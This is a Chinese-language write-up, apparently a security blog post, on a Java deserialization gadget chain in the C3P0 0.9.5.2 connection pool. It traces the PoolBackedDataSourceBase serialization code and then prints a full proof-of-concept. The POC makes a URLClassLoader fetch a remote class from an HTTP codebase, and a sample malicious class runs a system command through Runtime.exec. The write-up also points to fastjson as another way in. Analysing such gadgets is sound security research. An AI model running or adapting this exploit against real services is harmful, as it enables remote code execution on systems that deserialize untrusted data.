C3P0
C3P0反序列化
C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等
连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。
环境:
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
URLClassLoader
漏洞发生在com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase
这个类
先看看序列化writeObject()
这里对this.connectionPoolDataSource
的内容进行序列化,如果不可序列化,则进入catch分支,往下也是类中的代码,只是改变了序列化的对象
在catch分支中调用了个indirector.indirectForm(this.connectionPoolDataSource)
,跟进indirector.indirectForm
public IndirectlySerialized indirectForm(Object var1) throws Exception {
Reference var2 = ((Referenceable)var1).getReference();
return new ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
}
在这里会调用序列化对象的getReference()
方法,然后返回一个ReferenceSerialized对象,这是一个内部类,跟进其构造函数
ReferenceSerialized(Reference var1, Name var2, Name var3, Hashtable var4) {
this.reference = var1;
this.name = var2;
this.contextName = var3;
this.env = var4;
}
这几个参数都可通过setter方法赋值,可以考虑fastjson利用
再来看反序列化的readObject()
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
short version = ois.readShort();
switch (version) {
case 1:
Object o = ois.readObject();
if (o instanceof IndirectlySerialized) {
o = ((IndirectlySerialized)o).getObject();
}
this.connectionPoolDataSource = (ConnectionPoolDataSource)o;
this.dataSourceName = (String)ois.readObject();
o = ois.readObject();
if (o instanceof IndirectlySerialized) {
o = ((IndirectlySerialized)o).getObject();
}
this.extensions = (Map)o;
this.factoryClassLocation = (String)ois.readObject();
this.identityToken = (String)ois.readObject();
this.numHelperThreads = ois.readInt();
this.pcs = new PropertyChangeSupport(this);
this.vcs = new VetoableChangeSupport(this);
return;
default:
throw new IOException("Unsupported Serialized Version: " + version);
}
}
这里根据version进入不同的分支,如果是version=1,首先会将对象进行反序列化,判断对象o是否是IndirectlySerialized
类的对象或者是其子类的对象,如果是则会调用这个对象的getObject()
,因为上面进行了强制类型转换Referenceable
,所以这里调用的是ReferenceSerialize这个内部类的getObject()
这里似乎可以进行JNDI注入,但是目前contextName的参数不可控,跟进看看ReferenceableUtils.referenceToObject
可以看到这里有个URLClassLoader(),可以远程加载类,并且参数var4可控,所以POC如下:
public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(true);
Field connectionPoolDataSource = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
connectionPoolDataSource.setAccessible(true);
connectionPoolDataSource.set(poolBackedDataSourceBase,new Demo());
serialize(poolBackedDataSourceBase);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
//构造满足条件的类,即实现接口,并且不可序列化
public static class Demo implements ConnectionPoolDataSource, Referenceable {
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
public Reference getReference() {
return new Reference("EVI","EVI","http://127.0.0.1:8081/");//通过http请求恶意类
}
}
简单的恶意类:
import java.io.IOException;
public class EVI {
public EVI() throws IOException {
Runtime.getRuntime().exec("calc");
}
}